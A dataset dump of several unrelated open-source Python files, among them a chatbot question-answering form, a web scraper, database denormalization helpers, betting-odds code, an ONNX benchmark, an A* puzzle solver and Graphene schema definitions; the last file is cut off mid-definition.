)\n\n return await super()._activate_if_required(dispatcher, tracker, domain) + [\n SlotSet(QUESTION_SLOT, question),\n SlotSet(STATUS_SLOT, result[STATUS_SLOT]),\n SlotSet(ANSWERS_SLOT, result[ANSWERS_SLOT]),\n ]\n\n # Regular QA\n # Messages are only played for the first question\n if tracker.get_slot(SKIP_QA_INTRO_SLOT) == True or intent != \"ask_question\":\n return await super()._activate_if_required(dispatcher, tracker, domain)\n\n dispatcher.utter_message(template=\"utter_can_help_with_questions\")\n dispatcher.utter_message(template=\"utter_qa_disclaimer\")\n\n random_qa_samples = (\n _get_fixed_questions_samples()\n if _must_stub_result(tracker)\n else _get_random_question_samples(domain)\n )\n\n if len(random_qa_samples) > 0:\n dispatcher.utter_message(\n template=\"utter_qa_sample\",\n sample_questions=\"\\n\".join(random_qa_samples),\n )\n\n return await super()._activate_if_required(dispatcher, tracker, domain) + [\n SlotSet(SKIP_QA_INTRO_SLOT, True)\n ]\n\n @staticmethod\n def required_slots(tracker: Tracker) -> List[Text]:\n status = tracker.get_slot(STATUS_SLOT)\n if status == QuestionAnsweringStatus.SUCCESS:\n return [QUESTION_SLOT, FEEDBACK_SLOT]\n\n return [QUESTION_SLOT]\n\n def slot_mappings(self) -> Dict[Text, Union[Dict, List[Dict]]]:\n return {\n QUESTION_SLOT: self.from_text(),\n FEEDBACK_SLOT: yes_no_nlu_mapping(self),\n }\n\n def request_next_slot(\n self,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> Optional[List[EventType]]:\n return request_next_slot(self, dispatcher, tracker, domain)\n\n async def validate_active_question(\n self,\n value: Text,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> Dict[Text, Any]:\n result = (\n _get_stub_qa_result(tracker)\n if _must_stub_result(tracker)\n else await _fetch_qa(value, tracker)\n )\n\n if result.status == QuestionAnsweringStatus.SUCCESS and result.answers:\n dispatcher.utter_message(result.answers[0])\n\n return {STATUS_SLOT: result.status, ANSWERS_SLOT: result.answers}\n\n def validate_feedback(\n self,\n value: Text,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> Dict[Text, Any]:\n if value is False:\n dispatcher.utter_message(template=\"utter_post_feedback\")\n\n if not isinstance(value, bool):\n return {FEEDBACK_SLOT: FEEDBACK_NOT_GIVEN}\n\n return {}\n\n def submit(\n self,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> List[Dict]:\n feedback = tracker.get_slot(FEEDBACK_SLOT)\n full_question_result = {\n QUESTION_KEY: tracker.get_slot(QUESTION_SLOT),\n ANSWERS_KEY: tracker.get_slot(ANSWERS_SLOT),\n STATUS_KEY: tracker.get_slot(STATUS_SLOT),\n FEEDBACK_KEY: feedback,\n }\n\n # Clearing and saving in case of re-rentry in the form.\n slot_sets = [\n SlotSet(QUESTION_SLOT),\n SlotSet(FEEDBACK_SLOT),\n SlotSet(ASKED_QUESTION_SLOT, full_question_result),\n ]\n\n if feedback == FEEDBACK_NOT_GIVEN:\n return slot_sets + _carry_user_utterance(tracker)\n\n return slot_sets\n\n\ndef _must_stub_result(tracker: Tracker):\n metadata = tracker.get_slot(\"metadata\") or {}\n return QA_TEST_PROFILE_ATTRIBUTE in metadata\n\n\ndef _get_random_question_samples(domain: Dict[Text, Any],) -> List[str]:\n responses = domain.get(\"responses\", {})\n qa_samples_categories = [\n key for key in responses.keys() if key.startswith(\"utter_qa_sample_\")\n ]\n random_qa_samples_categories = random.sample(\n qa_samples_categories, k=min(len(qa_samples_categories), 3)\n )\n\n return [\n f\"- {random.choice(value).get('text')}\"\n for key, value in responses.items()\n if key in random_qa_samples_categories\n ]\n\n\ndef _get_fixed_questions_samples() -> List[str]:\n return [\"- sample question 1\", \"- sample question 2\"]\n\n\nasync def _fetch_qa(text: Text, tracker: Tracker) -> QuestionAnsweringResponse:\n protocol = QuestionAnsweringProtocol(\n os.environ.get(FAQ_URL_ENV_KEY, DEFAULT_FAQ_URL)\n )\n\n language = tracker.get_slot(LANGUAGE_SLOT)\n async with ClientSession() as session:\n return await protocol.get_response(session, text, language)\n\n\ndef _get_stub_qa_result(tracker: Tracker):\n profile = tracker.get_slot(\"metadata\")[QA_TEST_PROFILE_ATTRIBUTE]\n return TEST_PROFILES_RESPONSE[profile]\n\n\ndef _get_intent(tracker: Tracker) -> str:\n return tracker.latest_message.get(\"intent\", {}).get(\"name\", \"\")\n\n\ndef _carry_user_utterance(tracker: Tracker) -> List[EventType]:\n return [\n Form(None), # Ending it manually to have events in correct order to fit stories\n SlotSet(REQUESTED_SLOT, None),\n ActionExecuted(\"utter_ask_another_question\"),\n ActionExecuted(\"action_listen\"),\n UserUttered(\n tracker.latest_message.get(\"text\", \"\"),\n parse_data={\n \"text\": tracker.latest_message.get(\"text\", \"\"),\n \"intent\": tracker.latest_message.get(\"intent\", {}),\n \"intent_ranking\": tracker.latest_message.get(\"intent_ranking\", []),\n \"entities\": tracker.latest_message.get(\"entities\", []),\n },\n ),\n ]\n","repo_name":"dialoguemd-archives/covidflow","sub_path":"action-server/covidflow/actions/question_answering_form.py","file_name":"question_answering_form.py","file_ext":"py","file_size_in_byte":8321,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"27"}
+{"seq_id":"26957149587","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*- \n\nimport bikeUtils\n\n#ofo\nofoSite=\"https://zh.wikipedia.org/zh-hans/Ofo%E5%B0%8F%E9%BB%84%E8%BD%A6\"\nofoName=\"ofo小黄车\"\nofoStartFlag = \"运营地区\"\nofoEndFlag = \"车型\"\nofoStrategy = 0\n\n#mobike\nmobikeSite=\"https://zh.wikipedia.org/wiki/%E6%91%A9%E6%8B%9C%E5%8D%95%E8%BD%A6\"\nmobikeName=\"摩拜单车\"\nmobikeStartFlag = \"运营城市\"\nmobikeEndFlag = \"车种\"\nmobikeStrategy = 1\n\ndevelopmentFilePath = \"test.txt\"\n\ndef main():\n try:\n developmentFile = open(developmentFilePath, \"w\") \n print(\"obtaining ofo data......\")\n ofoData = bikeUtils.obtainBikeData(ofoSite, ofoName, ofoStartFlag, ofoEndFlag, ofoStrategy)\n if ofoData is None or len(ofoData) == 0:\n return\n print(\"cannot obtain ofo data\")\n else:\n for data in ofoData:\n developmentFile.write(data + \"\\n\")\n developmentFile.write(\"\\n\")\n print(\"obtaining mobike data......\")\n mobikeData = bikeUtils.obtainBikeData(mobikeSite, mobikeName, mobikeStartFlag, mobikeEndFlag, mobikeStrategy)\n if mobikeData is None or len(mobikeData) == 0:\n print(\"cannot obtain mobike data\")\n return\n else:\n for data in mobikeData:\n developmentFile.write(data + \"\\n\")\n print(\"obtain data success\")\n except IOError:\n print(\"cannot open file\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ParadiseHell/bike-sharing-development","sub_path":"data/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"71264004871","text":"from fire import Fire\nfrom pymongo.operations import UpdateMany\n\nfrom analytics.misc.settings import Index\nfrom analytics.databases.aml_client import AMLDB\n\n\ndef denormalize_problem_on_all_runs(problem: dict) -> UpdateMany:\n \"\"\"\n Finds all pipeline runs whose problem reference matches this\n problem, and replaces the reference with a copy of the actual\n problem document.\n \"\"\"\n return UpdateMany(\n filter={\n \"$and\": [\n {\"problem.id\": problem[\"id\"]},\n {\"problem.digest\": problem[\"digest\"]},\n # We check for existence of this field to identify pipeline\n # runs whose problem hasn't been copied over yet.\n {\"problem.name\": {\"$exists\": False}},\n ]\n },\n update={\"$set\": {\"problem\": problem}},\n )\n\n\ndef denormalize_dataset_on_all_runs(dataset: dict) -> UpdateMany:\n \"\"\"\n Finds all pipeline runs having a dataset reference matches this\n dataset, and replaces the reference with a copy of the actual\n dataset document.\n \"\"\"\n return UpdateMany(\n filter={\n \"$and\": [\n {\"datasets.id\": dataset[\"id\"]},\n {\"datasets.digest\": dataset[\"digest\"]},\n # We check for existence of this field to identify pipeline\n # runs whose datasets haven't been copied over yet.\n {\"datasets.name\": {\"$exists\": False}},\n ]\n },\n update={\"$set\": {\"datasets.$[matcher]\": dataset}},\n array_filters=[\n {\"matcher.id\": dataset[\"id\"], \"matcher.digest\": dataset[\"digest\"]}\n ],\n )\n\n\ndef denormalize_pipeline_on_all_runs(pipeline: dict) -> UpdateMany:\n \"\"\"\n Finds all pipeline runs whose pipeline reference matches this\n pipeline, and replaces the reference with a copy of the actual\n pipeline document.\n \"\"\"\n return UpdateMany(\n filter={\n \"$and\": [\n {\"pipeline.id\": pipeline[\"id\"]},\n {\"pipeline.digest\": pipeline[\"digest\"]},\n # We check for existence of this field to identify pipeline\n # runs whose pipeline hasn't been copied over yet.\n {\"pipeline.schema\": {\"$exists\": False}},\n ]\n },\n update={\"$set\": {\"pipeline\": pipeline}},\n )\n\n\ndef extract_denormalized(*index_names, batch_size: int = 50) -> None:\n \"\"\"\n Denormalizes all pipeline run documents in the lab's local\n database. Adds a copy of each run's problem, datasets, and\n pipeline(s) to the pipeline run document. Reads and updates\n in batches of size `batch_size`. If `index_names` are provided,\n only documents in those indexes/collections will be denormalized\n on the pipeline run documents.\n \"\"\"\n aml = AMLDB()\n\n if len(index_names) == 0:\n # Denormalize all by default.\n to_denormalize = {Index.PROBLEMS, Index.DATASETS, Index.PIPELINES}\n else:\n to_denormalize = {Index(name) for name in index_names}\n\n if Index.PROBLEMS in to_denormalize:\n print(\"denormalizing all pipeline run problem references...\")\n aml.bulk_read_write(\n Index.PROBLEMS,\n Index.PIPELINE_RUNS,\n denormalize_problem_on_all_runs,\n batch_size,\n )\n\n if Index.DATASETS in to_denormalize:\n print(\"denormalizing all pipeline run dataset references...\")\n aml.bulk_read_write(\n Index.DATASETS,\n Index.PIPELINE_RUNS,\n denormalize_dataset_on_all_runs,\n batch_size,\n )\n\n if Index.PIPELINES in to_denormalize:\n print(\"denormalizing all pipeline run pipeline references...\")\n aml.bulk_read_write(\n Index.PIPELINES,\n Index.PIPELINE_RUNS,\n denormalize_pipeline_on_all_runs,\n batch_size,\n )\n\n\nif __name__ == \"__main__\":\n Fire(extract_denormalized)\n","repo_name":"byu-dml/d3m-analytics","sub_path":"analytics/denormalize.py","file_name":"denormalize.py","file_ext":"py","file_size_in_byte":3922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"16706224100","text":"from datetime import datetime\nimport matcher.sites.betfair as betfair\nfrom matcher.exceptions import MatcherError\nimport pandas as pd\n\nPLACES = 4\nCOMMISSION = 0.02\n\nidx = pd.IndexSlice\n\n\ndef normalize_probs(probs, odds=True):\n if odds:\n probs = [1 / x for x in probs]\n total_prob = sum(probs)\n if total_prob <= 0:\n print(\"Invalid probabilities: Total probability = %s\" % total_prob)\n return None\n if total_prob != 1:\n # print(\"Normalizing prob by a factor of %s\" % total_prob)\n probs = map(lambda x: x / total_prob, probs)\n return list(probs)\n\n\ndef calc_places_prob(\n horses, # horse place probabilities\n cur_neg_prob=1, # total amount of prob left for the rest of the horses in solution\n cur_adj_factor=1, # probability adjustment using amount of prob left\n included_r=None, # checks whether already included a runner in race solution\n recursion_level=0,\n):\n \"\"\"Recursively iterates through every horse placement position and calculates probability positions given the positions already allocated (if that makes any sense)\"\"\"\n if included_r is None:\n included_r = []\n recursion_level += 1\n for horse, probabilities in horses.items():\n prob = probabilities[0]\n if horse in included_r:\n continue\n # print(horse, included_r)\n\n if recursion_level > 1:\n horses[horse][recursion_level - 1] += prob * cur_adj_factor\n\n if recursion_level < RELEVANT_PLACES:\n neg_prob = cur_neg_prob - prob # previous neg probs - cur prob\n adj_factor = cur_adj_factor * prob / neg_prob\n # print(adj_factor, neg_prob)\n included_r.append(horse)\n horses = calc_places_prob(\n horses, neg_prob, adj_factor, included_r, recursion_level\n )\n included_r.remove(horse)\n return horses\n\n\ndef calc_horse_place_probs(horses):\n probs = normalize_probs(list(horses.values()))\n place_probs_r = [[0 for _ in horses] for _ in horses]\n for i, item in enumerate(place_probs_r):\n item[0] = list(probs)[i]\n\n horses = dict(zip(horses.keys(), place_probs_r))\n return calc_places_prob(horses)\n\n\ndef get_betfair_odds(races_df, odds_df):\n for index, race in (\n races_df.query(\"time > @datetime.now()\")\n .sort_values(\"time\", ascending=True)\n .sort_index(level=1)\n .iterrows()\n ):\n horses_win = {}\n horses_place = {}\n for name, selection_id in odds_df.loc[index, \"Betfair Exchange Win\"][\n \"selection_id\"\n ].items():\n try:\n horses_win[name] = betfair.get_odds(race[\"win_market_id\"], selection_id)\n horses_place[name] = betfair.get_odds(\n race[\"place_market_id\"], selection_id\n )\n except (MatcherError, ValueError):\n odds_df.drop((index[0], index[1], name), inplace=True)\n continue\n update_odds_df(odds_df, index[0], index[1], horses_win, \"Betfair Exchange Win\")\n update_odds_df(\n odds_df, index[0], index[1], horses_place, \"Betfair Exchange Place\"\n )\n\n\ndef run_exchange_bet():\n betfair.get_daily_races()\n","repo_name":"tom-pollak/each-way-matcher","sub_path":"matcher/exchange_place.py","file_name":"exchange_place.py","file_ext":"py","file_size_in_byte":3235,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"27"}
+{"seq_id":"5717466498","text":"myList = []\ncounter = 0\nb = 0\nwhile True:\n a = input() #takes input \n a = (a.lower())\n if a == \"###\": # stops the loop when met with ###\n break\n myList+=a.split() # all the words are in this list\nif len(myList) == 1: # check if there is only one word\n print(myList[0])\nfor x in myList: # now check if there is more than one time that the same word appears\n a = myList.count(x)\n if a >1:\n b = x\n counter+=1\nif counter > 1:\n print(b) \n","repo_name":"pranjaj011/CEMC-CS-circles-exercises","sub_path":"Chapter15/Poetic Analysis.py","file_name":"Poetic Analysis.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"38753886430","text":"with open(\"../account.txt\") as f:\n lines = f.readlines()\n api_key = lines[0].strip()\n api_secret = lines[1].strip()\n\n\nfrom binance.client import Client\nclient = Client(api_key=api_key, api_secret=api_secret)\ndata = client.futures_historical_klines(\n symbol=\"BTCUSDT\",\n interval='1d',\n start_str='2021-01-01',\n end_str=\"2021-11-26\"\n)\nprint(data)","repo_name":"alveraboquet/learningspoons-bootcamp-finance","sub_path":"python-binance2/unit_futures/02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"27"}
+{"seq_id":"28371820671","text":"# -*- coding: utf-8 -*-\nimport os\nimport os.path as osp\nimport shutil\n\nimport numpy as np\nfrom psutil import disk_partitions, disk_usage\n\nfrom joblib import Parallel, delayed\nfrom zqy_utils import filesize_to_str, make_dir\n\n\n\"\"\"\nutility functions to copy from remote disk to multiple local disks\n\"\"\"\n\n\ndef get_avaliable_disks(min_size=1024, ignored_disks=(\"/\", \"/boot\")):\n disks_list = []\n for disk in disk_partitions():\n path = disk.mountpoint\n if path in ignored_disks:\n continue\n if disk_usage(path).free > min_size:\n disks_list.append(path)\n return disks_list\n\n\ndef get_ready_disks(disks_list, total=1024):\n for disk in disks_list[:]:\n if not os.access(disk, os.W_OK):\n print(f\"cant make dir in {disk}, maybe you dont have right to \")\n disks_list.remove(disk)\n size_list = sorted([disk_usage(path).free for path in disks_list])\n disks_list = sorted(disks_list, key=lambda path: disk_usage(path).free)\n\n for i, size in enumerate(size_list):\n if size > total/(len(size_list) - 1) + 1:\n break\n else:\n return []\n return disks_list[i:]\n\n\ndef copy_and_link(src_root, relative_path, files_list, target_root, overwrite=True):\n target_dir = make_dir(target_root, relative_path)\n username = os.environ[\"USER\"]\n for path in files_list:\n filename = osp.basename(path)\n src_dir = make_dir(src_root, username, relative_path)\n src_file = osp.join(src_dir, filename)\n dst_file = osp.join(target_dir, filename)\n if osp.exists(dst_file):\n if overwrite:\n os.remove(dst_file)\n else:\n raise ValueError(f\"{dst_file} already exist\")\n shutil.copy2(path, src_file)\n os.symlink(src_file, dst_file)\n\n\ndef make_copies(src_root_list, target_root, relative_path,\n disks_list=None,\n random=False):\n \"\"\"\n if relative_path is Noner\n final_root = {target_root}/{relative_path}\n \"\"\"\n final_root = make_dir(target_root, relative_path)\n\n if isinstance(src_root_list, str):\n src_root_list = [src_root_list]\n file_list = []\n size_list = []\n for src_root in src_root_list:\n if osp.isfile(src_root):\n file_list.append(src_root)\n size_list.append(osp.getsize(src_root))\n elif osp.isdir(src_root):\n for root, dirs, files in os.walk(src_root):\n for f in files:\n path = osp.join(root, f)\n file_list.append(path)\n size_list.append(osp.getsize(path))\n else:\n raise ValueError(f\"unsupported type: {src_root}\")\n\n total_size = sum(size_list)\n total_size_str = filesize_to_str(total_size)\n print(f\"copying {len(file_list)}({total_size_str}) to {final_root}\")\n if disks_list is None:\n disks_list = get_avaliable_disks()\n # from small to large\n disks_list = get_ready_disks(disks_list)\n # todo: make balanced loaders\n indices = range(len(file_list))\n if random:\n indices = np.random.permutation(indices)\n size = 0\n files = []\n thresh = total_size/len(disks_list)\n mapping_dict = {}\n for index in indices:\n files.append(file_list[index])\n size += size_list[index]\n if size > thresh:\n for disk in disks_list[:]:\n if disk_usage(disk).free > size:\n mapping_dict[disk] = files\n print(\n f\"will copy {len(files)}({filesize_to_str(size)}) files to {disk}\")\n files = []\n size = 0\n disks_list.remove(disk)\n break\n else:\n raise ValueError(f\"no disk larger than {size}\")\n disk = disks_list[0]\n assert len(disks_list) == 1 and disk_usage(\n disk).free > size, \"soemthing wrong\"\n mapping_dict[disk] = files\n print(f\"will copy {len(files)}({filesize_to_str(size)}) files to {disk}\")\n\n param_list = [[disk, relative_path, file_list, target_root]\n for disk, file_list in mapping_dict.items()]\n Parallel(n_jobs=len(mapping_dict))(delayed(copy_and_link)(*param)\n for param in param_list)\n\n return mapping_dict\n\n\n__all__ = [k for k in globals().keys() if not k.startswith(\"_\")]\n","repo_name":"qianyizhang/zqy-utils","sub_path":"zqy_utils/dist_copy.py","file_name":"dist_copy.py","file_ext":"py","file_size_in_byte":4392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"24288365615","text":"# coding: utf-8\n\"\"\"\nBenchmark of :epkg:`onnxruntime` on all unit tests from\n:epkg:`skl2onnx`.\n\"\"\"\n# Authors: Xavier Dupré (benchmark)\n# License: MIT\nimport matplotlib\nmatplotlib.use('Agg')\n\nimport os\nimport unittest\nimport warnings\nimport contextlib\nfrom time import perf_counter as time\nfrom io import StringIO\nimport numpy\nimport pandas\nimport matplotlib.pyplot as plt\nimport sklearn\nfrom sklearn.utils._testing import ignore_warnings\nfrom sklearn.utils.extmath import softmax\nfrom pyquickhelper.loghelper import run_cmd, sys_path_append\nfrom pymlbenchmark.context import machine_information\n\n\ndef run_all_tests(location, folder=None, verbose=True):\n \"\"\"\n Runs all unit tests or unit tests specific to one library.\n The tests produce a series of files dumped into ``folder``\n which can be later used to tests a backend (or a runtime).\n \"\"\"\n if folder is None:\n raise ValueError(\"folder cannot be None\")\n os.environ[\"ONNXTESTDUMP\"] = folder\n os.environ[\"ONNXTESTDUMPERROR\"] = \"1\"\n os.environ[\"ONNXTESTBENCHMARK\"] = \"1\"\n\n if verbose:\n print(\"[benchmark] look into '{0}'\".format(location))\n print(\"[benchmark] dump into '{0}'\".format(folder))\n\n subs = [location]\n loader = unittest.TestLoader()\n suites = []\n\n for sub in subs:\n fold = os.path.join(this, sub)\n if not os.path.exists(fold):\n raise FileNotFoundError(\"Unable to find '{0}'\".format(fold))\n\n with sys_path_append(fold):\n names = [_ for _ in os.listdir(fold) if _.startswith(\"test\")]\n for name in names:\n if \"test_utils\" in name:\n continue\n if \"dump\" in name.lower():\n continue\n name = os.path.splitext(name)[0]\n ts = loader.loadTestsFromName(name)\n suites.append(ts)\n\n with warnings.catch_warnings():\n warnings.filterwarnings(category=DeprecationWarning, action=\"ignore\")\n warnings.filterwarnings(category=FutureWarning, action=\"ignore\")\n st = StringIO()\n runner = unittest.TextTestRunner(st, verbosity=0)\n name = \"\"\n for tsi, ts in enumerate(suites):\n for k in ts:\n try:\n for t in k:\n name = t.__class__.__name__\n break\n except TypeError as e:\n warnings.warn(\n \"[ERROR] Unable to run test '{}' - {}.\".format(ts, str(e).replace(\"\\n\", \" \")))\n if verbose:\n print(\"[benchmark] {}/{}: '{}'\".format(tsi + 1, len(suites), name))\n with contextlib.redirect_stderr(st):\n with contextlib.redirect_stdout(st):\n runner.run(ts)\n\n from test_utils.tests_helper import make_report_backend\n df = make_report_backend(folder, as_df=True)\n return df\n\n\n#########################\n# Clones skl2onnx\n# +++++++++++++++\n\nthis = os.path.abspath(os.path.dirname(__file__))\nskl = os.path.join(this, \"sklearn-onnx\")\nif os.path.exists(skl):\n pth = skl\n cmd = \"git pull\"\nelse:\n pth = None\n cmd = \"git clone https://github.com/onnx/sklearn-onnx.git \" + skl\nrun_cmd(cmd, wait=True, change_path=pth, fLOG=print)\n\n#########################\n# Runs the benchmark\n# ++++++++++++++++++\n\nfolder = os.path.join(this, 'onnxruntime-skl2onnx')\nlocation = os.path.join(this, 'sklearn-onnx', \"tests\")\nfilename = os.path.splitext(os.path.split(__file__)[-1])[0]\nfull_filename = filename + \".perf.csv\"\nif not os.path.exists(full_filename):\n with sklearn.config_context(assume_finite=True):\n df = run_all_tests(location, folder, verbose=True)\n print(\"[benchmark] saves into '{}'.\".format(full_filename))\n df.to_csv(full_filename, index=False)\nelse:\n print(\"[benchmark] restores from '{}'.\".format(full_filename))\n df = pandas.read_csv(full_filename)\nprint(df.head())\n\n#########################\n# Extracts information about the machine used\n# +++++++++++++++++++++++++++++++++++++++++++\n\npkgs = ['numpy', 'pandas', 'sklearn', 'skl2onnx', 'onnxruntime', 'onnx']\ndfi = pandas.DataFrame(machine_information(pkgs))\ndfi.to_csv(\"%s.time.csv\" % filename, index=False)\nprint(dfi)\n\n#########################\n# Shows errors.\n# +++++++++++++\n\nif 'stderr' in df.columns:\n err = df[~df.stderr.isnull()]\n err = err[[\"_model\", \"stderr\"]]\n err.to_csv(filename + \".err.csv\", index=False)\n print(err)\nelse:\n print('no error.')\n df['stderr'] = numpy.nan\n\n#############################\n# Plot the results by time\n# ++++++++++++++++++++++++\n\ndf = df[df.stderr.isnull() & ~df.ratio.isnull()].sort_values(\"ratio\").copy()\ndf['model'] = df['_model'].apply(lambda s: s.replace(\"Sklearn\", \"\"))\n\nfig, ax = plt.subplots(1, 1, figsize=(10, 10))\ndf.plot(x=\"original_time\", y=\"ratio\", ax=ax,\n logx=True, logy=True, kind=\"scatter\")\nxmin, xmax = df.original_time.min(), df.original_time.max()\nax.plot([xmin, xmax], [1, 1], \"--\", label=\"1x\")\nax.plot([xmin, xmax], [2, 2], \"--\", label=\"2x slower\")\nax.plot([xmin, xmax], [0.5, 0.5], \"--\", label=\"2x faster\")\nax.set_title(\"Ratio onnxruntime / scikit-learn\\nLower is better\")\nax.set_xlabel(\"execution time with scikit-learn (seconds)\")\nax.set_ylabel(\"Ratio onnxruntime / scikit-learn\\nLower is better.\")\nax.legend()\nfig.tight_layout()\nfig.savefig(\"%s.xy.png\" % filename)\n\n\n#############################\n# Plot the results by model\n# +++++++++++++++++++++++++\n\n\nfig, ax = plt.subplots(1, 1, figsize=(10, 25))\ndf.plot.barh(x=\"model\", y=\"ratio\", ax=ax, logx=True)\nymin, ymax = ax.get_ylim()\nax.plot([0.5, 0.5], [ymin, ymax], '--', label=\"2x faster\")\nax.plot([1, 1], [ymin, ymax], '-', label=\"1x\")\nax.plot([2, 2], [ymin, ymax], '--', label=\"2x slower\")\nfor tick in ax.yaxis.get_major_ticks():\n tick.label.set_fontsize(8)\nax.legend(loc='upper left')\nax.grid()\nax.set_title(\"Ratio onnxruntime / scikit-learn\\nLower is better\")\nfig.tight_layout()\nfig.savefig(\"%s.model.png\" % filename)\n\nimport sys\nif \"--quiet\" not in sys.argv:\n plt.show()\n","repo_name":"sdpython/_benchmarks","sub_path":"onnx/bench_plot_skl2onnx_unittest.py","file_name":"bench_plot_skl2onnx_unittest.py","file_ext":"py","file_size_in_byte":6022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"26842579797","text":"# coding=utf-8\nimport pytest\n\nfrom tests import assertions\nfrom tests import control\n\n\n@pytest.fixture\ndef task(running_app, monkeypatch):\n from task_widgets.calculation.numbers_calculation import NumbersCalculation\n\n return NumbersCalculation(\n first=1,\n second=2,\n mode=0\n )\n\n\ndef test_base_build(task):\n assert task.answer_widget is None\n assert task.description_widget is None\n task.show_intro_hint()\n task.start()\n assert task.answer_widget\n assert task.description_widget\n assert task.intro_hint is None\n\n\ndef test_base_answer(task, tracker, google_client, mocker, vibrator):\n from managers.database import database_manager\n mocker.spy(database_manager, 'add_stat')\n from task_widgets.calculation.numbers_calculation import NumbersCalculation\n task = NumbersCalculation()\n task.start()\n\n correct_button = task.get_correct_answer_widgets()\n incorrect_button = [button for button in task.answer_widget.buttons if button not in correct_button][0]\n control.press(incorrect_button)\n assert task.mistakes_count == 1\n assertions.assert_vibrated(vibrator, 100)\n correct_button = correct_button[0]\n control.press(correct_button)\n assert task.successful\n assertions.assert_tracker_event_sent(tracker, 'tasks', 'class', label=\"numbers_calculation\")\n assertions.assert_achievement_incremented(google_client, \"general_cognitive\")\n assertions.assert_achievement_incremented(google_client, \"sergeant_cognitive\")\n assertions.assert_achievement_incremented(google_client, \"major_cognitive\")\n assertions.assert_achievement_incremented(google_client, \"lieutenant_cognitive\")\n assertions.assert_achievement_incremented(google_client, \"colonel_cognitive\")\n\n assert database_manager.add_stat.called\n\n\ndef test_status_bar(running_app):\n from task_widgets.task_base.status_bar import TaskStatusBar\n status_bar = TaskStatusBar()\n assert status_bar.correctness_widget\n assert status_bar.points_widget\n status_bar.mistakes_count = 1\n assert status_bar.correctness_widget.text == u\"[color=#408742ff][font=glyphicons][/font]0[/color] \" \\\n u\"[color=#eb542cff][font=glyphicons][/font]1[/color]\"\n status_bar.correct_count = 1\n assert status_bar.correctness_widget.text == u\"[color=#408742ff][font=glyphicons][/font]1[/color] \" \\\n u\"[color=#eb542cff][font=glyphicons][/font]1[/color]\"\n status_bar.points = 100\n assert status_bar.points_widget.text == u\"100\\n[size=10]POINTS[/font]\"\n status_bar.time = 10\n assert status_bar.time_widget.label.text == u\"[b]10.0[/b] [size=16]sec[/size]\"\n","repo_name":"thorin-schiffer/kognitivo","sub_path":"tests/tasks/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":2714,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"27"}
+{"seq_id":"15672911710","text":"import queue as Q\n\n\nclass AStar:\n def __init__(self, graph, root):\n self.graph = graph\n self.root = root\n self.visited = dict()\n self.queue = Q.PriorityQueue()\n self.counter = 0\n\n def run(self, target):\n self.queue.put((self.root.step, self.root, int(self.root.UID)))\n while self.queue:\n current_state = self.queue.get()[1]\n self.counter += 1\n if current_state.is_equal(target):\n return True, self.counter, current_state.step\n if self.visited.get(current_state.UID) is None:\n self.visited[current_state.UID] = current_state\n neighbor_nodes = self.graph.reveal_neighbors(current_state)\n for neighbor in neighbor_nodes:\n self.queue.put((neighbor.step + self.manhattan_distance(neighbor,target), neighbor, int(neighbor.UID)))\n return False, self.counter, 0\n\n def manhattan_distance(self, node, end):\n arr = [0] * (self.graph.size + 1)\n brr = [0] * (self.graph.size + 1)\n for i in range(len(node.g_node)):\n for j in range(len(node.g_node[i])):\n arr[node.g_node[i][j]] = [i, j]\n\n for i in range(len(end.g_node)):\n for j in range(len(end.g_node[i])):\n brr[end.g_node[i][j]] = [i, j]\n dist = 0\n for i in range(1, len(arr)):\n dist += abs(arr[i][0] - brr[i][0]) + abs(arr[i][1] - brr[i][1])\n return dist\n","repo_name":"GokselOnal/Artificial-Intelligence","sub_path":"N-Puzzle/AStar.py","file_name":"AStar.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"26230058722","text":"import graphene\nfrom graphene_django import DjangoObjectType\nfrom graphene_django.filter import DjangoFilterConnectionField\nimport django_filters\nimport maintdx.assets.models as assets\nfrom django.conf import settings\n\n\nclass CategoryNode(DjangoObjectType):\n class Meta:\n model = assets.Category\n filter_fields = {\"name\": [\"exact\", \"istartswith\", \"icontains\"]}\n interfaces = (graphene.relay.Node,)\n\n\nclass LocationNode(DjangoObjectType):\n class Meta:\n model = assets.Location\n filter_fields = {\"name\": [\"exact\", \"istartswith\", \"icontains\"]}\n interfaces = (graphene.relay.Node,)\n\n\nclass DepartmentNode(DjangoObjectType):\n class Meta:\n model = assets.Department\n filter_fields = {\n \"name\": [\"exact\", \"istartswith\", \"icontains\"],\n \"location__id\": [\"exact\"],\n \"location__name\": [\"exact\", \"istartswith\", \"icontains\"],\n }\n interfaces = (graphene.relay.Node,)\n\n\nclass AssetStatusNode(DjangoObjectType):\n class Meta:\n model = assets.AssetStatus\n interfaces = (graphene.relay.Node,)\n\n\nclass AssetGroupNode(DjangoObjectType):\n class Meta:\n model = assets.AssetGroup\n interfaces = (graphene.relay.Node,)\n\n\nclass AssetNode(DjangoObjectType):\n image_url = graphene.String()\n\n def resolve_image_url(self, info):\n return f\"{settings.ABSOLUTE_MEDIA_URL}{self.image}\"\n\n class Meta:\n model = assets.Asset\n filter_fields = {\n \"name\": [\"exact\", \"istartswith\", 